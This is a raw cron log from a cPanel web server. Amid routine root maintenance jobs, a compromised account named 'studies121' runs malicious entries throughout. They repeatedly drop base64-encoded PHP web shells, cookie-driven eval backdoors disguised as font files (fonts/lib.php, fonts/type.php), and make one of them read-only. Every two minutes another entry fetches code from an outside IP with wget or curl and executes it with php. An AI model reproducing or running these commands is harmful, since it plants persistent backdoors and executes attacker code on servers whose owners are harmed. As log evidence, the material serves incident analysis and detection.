Sep  5 20:27:01 ip-184-168-122-23 CROND[21114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:28:01 ip-184-168-122-23 CROND[21193]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:28:01 ip-184-168-122-23 CROND[21196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:28:01 ip-184-168-122-23 CROND[21195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:28:01 ip-184-168-122-23 CROND[21197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:28:01 ip-184-168-122-23 CROND[21194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:29:01 ip-184-168-122-23 CROND[21380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:29:01 ip-184-168-122-23 CROND[21382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:29:01 ip-184-168-122-23 CROND[21381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:29:01 ip-184-168-122-23 CROND[21383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21506]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:30:01 ip-184-168-122-23 CROND[21510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21511]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:30:01 ip-184-168-122-23 CROND[21514]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:30:01 ip-184-168-122-23 CROND[21516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:31:01 ip-184-168-122-23 CROND[21629]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 20:31:01 ip-184-168-122-23 CROND[21630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:31:01 ip-184-168-122-23 CROND[21628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:31:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:31:01 ip-184-168-122-23 CROND[21632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:32:01 ip-184-168-122-23 CROND[21737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:32:01 ip-184-168-122-23 CROND[21739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:32:01 ip-184-168-122-23 CROND[21738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:32:01 ip-184-168-122-23 CROND[21741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:32:01 ip-184-168-122-23 CROND[21742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:33:01 ip-184-168-122-23 CROND[21824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:33:01 ip-184-168-122-23 CROND[21823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:33:01 ip-184-168-122-23 CROND[21826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:33:01 ip-184-168-122-23 CROND[21825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:34:01 ip-184-168-122-23 CROND[21902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:34:01 ip-184-168-122-23 CROND[21904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:34:01 ip-184-168-122-23 CROND[21906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:34:01 ip-184-168-122-23 CROND[21905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:34:01 ip-184-168-122-23 CROND[21907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:35:01 ip-184-168-122-23 CROND[22061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22065]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:35:01 ip-184-168-122-23 CROND[22068]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:35:01 ip-184-168-122-23 CROND[22063]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 20:36:01 ip-184-168-122-23 CROND[22253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:36:01 ip-184-168-122-23 CROND[22251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:36:01 ip-184-168-122-23 CROND[22252]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:36:01 ip-184-168-122-23 CROND[22254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:36:01 ip-184-168-122-23 CROND[22255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:37:01 ip-184-168-122-23 CROND[22346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:37:01 ip-184-168-122-23 CROND[22349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:37:01 ip-184-168-122-23 CROND[22348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:37:01 ip-184-168-122-23 CROND[22350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:38:01 ip-184-168-122-23 CROND[22456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 20:38:01 ip-184-168-122-23 CROND[22453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:38:01 ip-184-168-122-23 CROND[22454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:38:01 ip-184-168-122-23 CROND[22455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:38:01 ip-184-168-122-23 CROND[22457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 20:39:01 ip-184-168-122-23 CROND[22581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 20:39:01 ip-184-168-122-23 CROND[22584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
